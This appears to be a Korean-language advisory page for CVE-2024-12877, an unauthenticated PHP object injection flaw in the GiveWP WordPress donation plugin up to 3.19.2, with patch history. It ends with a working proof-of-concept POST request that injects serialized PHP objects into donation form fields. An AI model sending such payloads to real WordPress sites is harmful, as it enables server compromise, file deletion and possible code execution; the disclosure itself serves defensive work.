randomrobbiebf/cve-2024-12877GiveWP – 기부 플러그인 및 모금 플랫폼 <= 3.19.2 - 인증되지 않은 PHP 객체 주입
GiveWP – 기부 플러그인 및 펀드레이징 플랫폼 <= 3.19.2 - 인증되지 않은 PHP 객체 주입
WordPress용 GiveWP – 기부 플러그인 및 펀드레이징 플랫폼은 기부 양식의 'firstName'과 같은 신뢰할 수 없는 입력의 역직렬화를 통해 3.19.2를 포함한 모든 버전에서 PHP 객체 주입에 취약합니다. 이로 인해 인증되지 않은 공격자가 PHP 객체를 주입할 수 있습니다. 추가적으로 POP 체인이 존재하면 공격자가 서버에서 임의의 파일을 삭제할 수 있어 원격 코드 실행이 가능해집니다. 참고로 이 문제는 3.19.3에서 부분적으로만 패치되었으며, 완전히 충분한 패치는 3.19.4에서야 릴리스되었습니다. 그러나 다른 CNA가 3.19.3 버전에 대해 다른 CVE를 할당했으므로, 이 CVE는 3.19.2 및 이전 버전에 영향을 미치는 것으로 남겨두겠습니다. 향후 역직렬화 취약점이 더 이상 존재하지 않도록 공급업체에 JSON 인코딩을 사용할 것을 권장했습니다.
POST /?givewp-route=donate&givewp-route-signature=[SIGNATURE]&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration=[EXPIRY] HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Content-Length: 163
amount=10¤cy=USD&gatewayId=manual&formId=90&company=O:20:"PHP_Object_Injection":0:{}&firstName=O:20:"PHP_Object_Injection":0:{}&[email protected]&donationType=single&donationBirthday=